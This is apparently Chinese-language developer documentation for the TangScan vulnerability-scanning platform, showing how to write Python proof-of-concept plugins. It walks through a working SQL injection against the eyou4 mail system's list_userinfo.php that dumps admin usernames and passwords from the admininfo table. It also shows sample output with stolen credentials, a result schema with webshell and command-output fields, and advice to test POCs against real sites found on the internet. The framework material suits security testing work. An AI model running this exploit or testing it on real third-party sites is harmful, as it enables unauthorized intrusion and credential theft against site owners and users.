欢迎来到TangScan的文档!¶
TangScan (唐朝扫描器)是一款在线安全漏洞检测服务, 一个由众多安全研究人员维护的企业在线安全体检平台。
安全研究人员可以根据自己的经验编写合适的安全扫描策略, 按照我们支持的开发标准编写出对应的安全检测插件, 我们鼓励安全研究人员之间分享漏洞分析, 代码开发的相关技术以获得更好的技术提升, 同时我们将根据插件扫描的结果对安全研究人员进行分成奖励。
企业可以付费使用 TangScan 对自己的企业网络进行授权的安全漏洞检测以发现潜藏在网络里的重要安全问题, 我们将对企业的身份进行严格的限制同时企业需要为漏洞扫描的结果进行付费以支持我们的持续运营。
目录¶
快速入门¶
简介¶
该文档能够帮助您快速的理解 TangScan 中 POC 的格式, 以及编写一个简单完整的 POC , 下面就让我们开始这一段旅程。
环境配置¶
工欲善其事必先利其器, 在开发 POC 之前, 首先应该把环境搭建起来。
POC 由 python 编写, 所以 python 也是必不可少的, python下载地址
下载地址
$ git clone https://github.com/wooyun/TangScan.git
或者点击 下载
进入编写 POC 的工作目录
cd TangScan/tangscan
希望POC编写者能够遵循 python pep8 规范
编写POC¶
下面我们以 http://www.wooyun.org/bugs/wooyun-2014-058014 中的 eyou4 的 /php/bill/list_userinfo.php 注入为例子, 开始编写这个漏洞的 POC 。
导入¶
1 2 3 4 5 6 7 8 | #! /usr/bin/env python
# -*- coding: utf-8 -*-
import re
import hashlib
from thirdparty import requests
from modules.exploit import TSExploit
|
代码解释:
line 4: 为了能够匹配网页内容, 我们需要import re
line 5: 为了能够计算md5,我们需要import hashlib
line 7: TangScan 还自带了一些比较好用的第三方库, 在这里我们import requests来处理http请求
line 8: 编写TangScan POC不可缺少的一个类 TSExploit
填写漏洞信息¶
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | def __init__(self):
super(self.__class__, self).__init__()
self.info = {
"name": "eyou4 list_userinfo.php sql 注入漏洞", # POC 的名称
"product": "eyou", # POC 所针对的应用, 在 tangscan 主页上展示出所有的应用
# 名称必须和 tangscan 主页上的一致(大小写敏感)
"product_version": "4", # 应用版本号
"desc": """
eyou4 邮件系统中 /php/bill/list_userinfo.php 中的 cp 参数存在注入
""", # 漏洞描述
"license": self.license.TS, # POC 的版权信息
"author": ["wooyun"], # POC 编写者
"ref": [
{self.ref.wooyun: "http://www.wooyun.org/bugs/wooyun-2014-058014"}, # 乌云案例链接
],
"type": self.type.sql_injection, # 漏洞类型, 在详细介绍中列举了所有 POC 的类型
"severity": self.severity.medium, # 漏洞的危害等级, 在详细介绍中列举了所有 POC 的危害等级
"privileged": False, # 是否需要登录
"disclosure_date": "2014-07-23", # 漏洞的公布时间
"create_date": "2014-09-23", # POC创建时间
}
|
代码解释:
line 1: 定义TangScan中 __init__ 方法
line 2: 调用父类 __init__ 方法
line 3: 定义 info 属性, info 是 python 中一个字典类型
line 10: 选择POC的版权信息, 在 self.license 中已经定义了几种license
line 15: 漏洞类型, 在 self.type 中已经定义了几种type
注册POC所需选项¶
然后继续在 __init__ 方法下继续调用 register_option 方法, 该方法用于注册 POC 所需参数。
1 2 3 4 5 6 7 8 9 | self.register_option({
"url": {
"default": "",
"required": True,
"choices": [],
"convert": self.convert.url_field,
"desc": "target url"
}
})
|
代码解释:
line 1: 调用 regsiter_option 方法注册所需参数
line 2: 我们所需的参数是 url
line 3: 设置参数 url 的默认值为 ""
line 4: 设置参数 url 是否是必要参数
line 5: 设置参数 url 的可选值, []为无可选值
line 6: 设置参数 url 的类型, TangScan会判断以及自动将参数url转成POC中的url类型
例如: www.example.com 转换成 http://www.example.com
line 7: 设置参数 url 的描述, 这会在帮助中显示
另外需要注意的是在 verify 中只能使用 url 或者 host 和 port 选项。
也就是说, register_option 必须注册 url :
1 2 3 4 5 6 7 8 9 | self.register_option({
"url": {
"default": "",
"required": True,
"choices": [],
"convert": self.convert.url_field,
"desc": "target url"
}
})
|
或者 注册 host 和 port:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | self.register_option({
"host": {
"default": "",
"required": True,
"choices": [],
"convert": self.convert.str_field,
"desc": "target host"
},
"port": {
"default": "27017",
"required": False,
"choices": [],
"convert": self.convert.int_field,
"desc": "port number"
}
})
|
而且, 除了 host 和 port 参数, 其他参数必须将 required 设置为 False
注册POC所返回的结果¶
然后继续在 __init__ 方法下继续调用 register_result 方法, 该方法用于注册 POC 所返回的结果。
1 2 3 4 5 6 7 8 9 10 11 | self.register_result({
"status": False,
"data": {
"user_info": {
"username": "",
"password": ""
}
},
"description": "",
"error": ""
})
|
代码解释:
line 1: 调用 register_result 方法注册POC返回结果
line 2: POC 的成功失败状态, 必须
line 3: POC 返回数据的存放处,必须名为 data, 而且data中的键都在 数据返回表 中已定义
line 4: POC 的exploit模式将返回管理员用户名密码, 所以data下填写user_info
line 5: POC 将返回 user_info 的 username
line 6: POC 将返回 user_info 的 password
ilne 9: POC 返回对人类可读性良好的信息, 最终会直接显示在漏洞报表中
line 10: POC 执行失败或者异常的原因
定义verify方法¶
经过上面一些步骤, 我们已经填写好了 POC 的相关信息, 定义了输入和输出, 下面我们就来到了 POC 中一个极为重要的执行体 verify 方法。 verify 顾名思义, 仅做验证目标网站是否存在漏洞, 不应存在恶意攻击行为, 不应该使用waf敏感的函数, 例如 mysql 中的 load_file 或 into outfile 等。 verify 方法中只能使用 url 或者 host 和 port 做组合 两种类型作为输入参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | def verify(self):
self.print_debug("verify start")
re_version_pattern = re.compile(r'~~~(.+?)~~~', re.IGNORECASE | re.DOTALL | re.MULTILINE)
cookies = {'cookie': 'admin'}
exp_url = ("{domain}/php/bill/list_userinfo.php?domain=fatezero.org&ok=1&cp=1 union "
"select concat(0x7e7e7e,@@version,0x7e7e7e),2,3,4,5%23".format(domain=self.option.url))
try:
response = requests.get(exp_url, cookies=cookies, timeout=15, verify=False)
except Exception, e:
self.result.error = str(e)
return
re_result = re_version_pattern.findall(response.content)
if len(re_result) == 0:
self.result.status = False
return
self.result.status = True
self.result.data.db_info.version = re_result[0]
self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
url=self.option.url,
db_version=re_result[0]
)
|
代码解释:
line 1: 定义 verify 方法
line 2: 调用 print_debug 方法输出调试信息, 在选择调试模式下, 会将此消息输出
line 7: self.option.url 就是我们所定义输入的 url , 在这里可以获取用户在命令行输入的 url
例如: 使用 self.option.xxx 就可以获取在命令行输入的 xxx 的值
line 20: self.result.status 就是我们所定义输出的 status, 检测目标url存在漏洞, 设置 self.result.status = True
例如: 使用 self.result.xxx 就可以获取或设置result 的结果
line 22: 设置 result.description, 最终会在报表中直接显示
定义exploit方法¶
经过上一步, 我们完成了 verify 方法的实现, 下面我们继续实现 exploit 方法。 exploit 方法带着攻击意图, 为了获取管理员信息, 直接获取服务器权限等, 能够方便的让安全服务人员使用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | def exploit(self):
self.print_debug("exploit start")
re_userinfo_pattern = re.compile(r'~~~(\w+?)\|\|\|(\w+?)~~~', re.IGNORECASE | re.DOTALL | re.MULTILINE)
cookies = {'cookie': 'admin'}
exp_url = ("{domain}/php/bill/list_userinfo.php?domain=fatezero.org&ok=1&cp=1 union select concat(0x7e7e7e,"
"oid,0x7c7c7c,password,0x7e7e7e),2,3,4,5 from admininfo%23".format(domain=self.option.url))
try:
response = requests.get(exp_url, cookies=cookies, timeout=15, verify=False)
except Exception, e:
self.result.error = str(e)
return
re_result = re_userinfo_pattern.findall(response.content)
if len(re_result) == 0:
self.result.status = False
return
self.result.status = True
self.result.data.user_info.username = re_result[0][0]
self.result.data.user_info.password = re_result[0][1]
self.result.description = "目标 {url} 存在sql注入, 目标管理员用户: {username}, 密码: {password}".format(
url=self.option.url,
username=self.result.data.user_info.username,
password=self.result.data.user_info.password
)
|
代码解释:
line 1: 定义 exploit 方法
line 2: 调用 print_debug 方法输出调试信息, 在选择调试模式下, 会将此消息输出
line 4: 建立获取user_info的正则表达式, 建议在敏感信息周边加上特殊符号以便于正则获取, 也可以大程度减少误报
line 15: 使用正则获取html页面中的信息
line 20: 获取到敏感信息之后, 将status设置为 True
line 21: 通过self.result.data.user_info.username = re_result[0][0] 可以很简单的设置结果中的username
line 22: 通过self.resutl.data.user_info.password = re_result[0][1] 可以很简单的设置结果中的password
如果 exploit 和 verify 一样, 那么可以简单的这样做。
1 2 3 4 5 6 | def verify(self):
# some code
# ... ...
def exploit(self):
self.verify()
|
执行POC¶
帮助信息¶
执行POC前, 我们先看一下POC的帮助信息。
$ python eyou4_list_userinfo_sql_injection.py -h
usage: eyou4_list_userinfo_sql_injection.py [-h] [--debug]
[--mode {verify,exploit}] --url
URL
optional arguments:
-h, --help show this help message and exit
--debug 显示测试信息
--mode {verify,exploit}
POC 执行模式, default: verify [str_filed]
--url URL 目标 url [url_field]
上面我们可以看到 -h 帮助参数, --debug 调试参数, --mode 执行模式, --url 目标url 。 其中 -h --debug --mode 都是系统附加, --url 是我们 POC 自己定义, 并且从上面信息可以看到 url 参数类型是 url_field
执行信息¶
好了, 写了那么久, 总应该执行看一下效果了
$ python eyou4_list_userinfo_sql_injection.py --url http://www.target.com --mode exploit
[POC 编写者]
['wooyun']
[风险]
目标 http://www.target.com 存在 eyou4 list_userinfo.php sql 注入漏洞
[详细说明]
eyou4 邮件系统中 /php/bill/list_userinfo.php 中的 cp 参数存在注入
[程序返回]
目标 http://www.target.com 存在sql注入, 用户: admin, 密码: password
[危害等级]
高
[漏洞类别]
注入
[相关引用]
* 乌云案例: http://www.wooyun.org/bugs/wooyun-2014-058014
攻击模式执行成功!!! 我们获取到了目标网站的管理员账号密码。
提交POC¶
既然都那么辛苦的写完了, 为什么不去提交一下呢? 在提交前希望能在互联网上找到几个实际例子进行测试, 确认 POC 没有误报的情况。
提交地址: http://www.tangscan.com/
详细介绍¶
基本结构¶
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | class TangScan(TSExploit):
def __init__(self):
super(self.__class__, self).__init__()
self.info = {
... ...
}
self.register_option({
... ...
})
self.register_result({
... ...
})
def verify(self):
pass
def exploit(self):
pass
|
结构说明:
1. 在 POC 中需定义名为 TangScan 的类, 而且必须继承于 TSExploit
2. 需要填写info属性
3. 调用 register_option 方法注册参数
4. 调用 register_result 方法注册返回结果
5. 定义 verify 方法
6. 定义 exploit 方法
以上一个合法的 POC 需要实现的内容。
info属性说明¶
TangScan 中的info属性是一个python的dict,info中的每个字段如下表,虽然有些字段是非必须的,但是还是强烈建议填写所有字段。
键 | 值 | 必须/可选 | 类型 | 默认 |
---|---|---|---|---|
name | POC 名称 | 必须 | string | “” |
product | 应用名称 | 必须 | string | “” |
product_version | 应用版本号 | 必须 | string | “” |
desc | POC 描述 | 可选 | string | “” |
license | POC 版权信息 | 可选 | 系统定义 | self.license.TS |
author | POC 编写者 | 可选 | list | [] |
ref | POC 相关引用 | 可选 | list | [] |
type | 漏洞类型 | 必须 | 系统定义 | None |
severity | 漏洞危害等级 | 必须 | 系统定义 | low |
privileged | 是否需要认证 | 可选 | bool | False |
disclosure_date | 漏洞公开日期 | 可选 | string | “” |
create_date | POC 创建日期 | 可选 | string | “” |
license¶
license 表示 POC 的版权信息,使用 self.license.xxx 进行访问
键 | 值 |
---|---|
TS | TangScan协议 |
MIT | MIT协议 |
BSD | BSD协议 |
GPL | GPL协议 |
LGPL | LGPL协议 |
APACHE | APACHE协议 |
type¶
type 表示 POC 的类型,使用 self.type.xxx 进行访问
键 | 值 |
---|---|
injection | 注入(sql注入, 命令注入, xpath注入等) |
xss | xss跨站脚本攻击 |
xxe | xml外部实体攻击 |
file_upload | 任意文件上传 |
file_operation | 任意文件操作 |
file_traversal | 目录遍历 |
rce | 远程命令/代码执行 |
lfi | 本地文件包含 |
rfi | 远程文件包含 |
info_leak | 信息泄漏(phpinfo信息, 爆路径等) |
misconfiguration | 错误配置 |
other | 其他 |
register_option 方法说明¶
使用 register_option 方法来注册 POC 的相关参数, register_option 方法的参数为一个 python 的 dict, 这个 dict 的 key 为用户输入的参数名, value 是一个 python 的 dict, 用于描述用户输入的参数, 其中每个字段如下表, 还是强烈建议填写所有字段。
键 | 值 | 必须/可选 | 类型 | 默认 |
---|---|---|---|---|
default | 参数默认值 | 可选 | string | “” |
required | 参数是否必须 | 可选 | bool | False |
choices | 参数值的可选列表 | 可选 | list | [] |
convert | 参数类型 | 可选 | 系统定义 | self.convert.str_field |
desc | 参数描述 | 可选 | string | “” |
convert¶
convert 将用于转换输入的数据,使用 self.convert.xxx_field 进行转换。
键 | 值 |
---|---|
int_field | 转换成整形 |
str_field | 转成字符串 |
bool_field | 转成bool类型 |
json_field | 转成json类型 |
url_field | 转成url类型 |
email_field | 检测是否是email类型 |
需要注意的是: POC 必须注册 url 参数 或者 host 和 port 参数。
注册 url 参数:
1 2 3 4 5 6 7 8 9 | self.register_option({
"url": {
"default": "",
"required": True,
"choices": [],
"convert": self.convert.url_field,
"desc": "target url"
}
})
|
注册 host 和 port 参数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | self.register_option({
"host": {
"default": "",
"required": True,
"choices": [],
"convert": self.convert.str_field,
"desc": "target host"
},
"port": {
"default": "27017",
"required": False,
"choices": [],
"convert": self.convert.int_field,
"desc": "port number"
}
})
|
register_result 方法说明¶
使用 register_result 函数来注册返回结果, register_result 函数的参数为一个 python 的 dict, 这个 dict 的 key 固定如下表。
键 | 值 | 必须/可选 | 类型 | 默认 |
---|---|---|---|---|
status | 是否存在漏洞 | 必须 | bool | False |
data | POC返回的数据 | 必须 | dict | {} |
description | POC返回可读性良好的数据, 将直接显示在扫描报表中 | 必须 | string | “” |
error | POC失败原因 | 必须 | string | “” |
上表中的data字段的value是一个python的dict, data 可以包含下面这些字段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | {
"db_info": {
"version": "数据库版本信息",
"db_name": "数据库名",
"tb_prefix": "表前缀",
"username": "数据库用户名",
"password": "数据库密码"
},
"sh_info": {
"url": "webshell的url地址",
"content": "webshell的内容",
"password": "webshell的密码"
},
"file_info": {
"url": "文件url",
"content": "文件内容"
},
"user_info": {
"username": "用户名",
"password": "用户密码",
"salt": "盐"
},
"cmd_info": {
"cmd": "执行的命令",
"output": "命令的输出"
},
"service_info": {
"name": "服务名称",
"username": "用户名",
"password": "密码"
},
"verify_info": {
"自定义键": "自定义值"
}
}
|
按照需求在 data 中填写上述字段, 如果已定义的字段没有符合实际情况, 可以在 verify_info 中自定义键值。
verify 和 exploit 方法说明¶
在 verify 和 exploit 方法中:
1. verify 方法只能使用 self.option.url 或者 self.option.host 和 self.option.port
2. 使用 self.option.xxx 来获取 xxx 的值
3. 使用 self.result.status 设置 verify 的运行状态
4. 使用 self.result.data.xxx.yyy 设置 运行结果,
例如: self.result.data.cmd_info.output = 'test' 设置运行结果
TangScan 协议¶
模版¶
为了节省重复工作而提供的模版。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | #! /usr/bin/env python
# -*- coding: utf-8 -*-
from modules.exploit import TSExploit
class TangScan(TSExploit):
def __init__(self):
super(self.__class__, self).__init__()
self.info = {
"name": "",
"product": "",
"product_version": "",
"desc": """
""",
"license": self.license.TS,
"author": [""],
"ref": [
{self.ref.wooyun: ""},
],
"type": self.type.sql_injection,
"severity": self.severity.medium,
"privileged": False,
"disclosure_date": "2014-09-17",
"create_date": "2014-09-17",
}
self.register_option({
"url": {
"default": "",
"required": True,
"choices": [],
"convert": self.convert.url_field,
"desc": "目标 url"
},
"host": {
"default": "",
"required": True,
"choices": [],
"convert": self.convert.str_field,
"desc": "目标 host"
},
"port": {
"default": "",
"required": False,
"choices": [],
"convert": self.convert.int_field,
"desc": "端口"
}
})
self.register_result({
"status": False,
"data": {
},
"description": "",
"error": ""
})
def verify(self):
pass
def exploit(self):
pass
if __name__ == '__main__':
from modules.main import main
main(TangScan())
|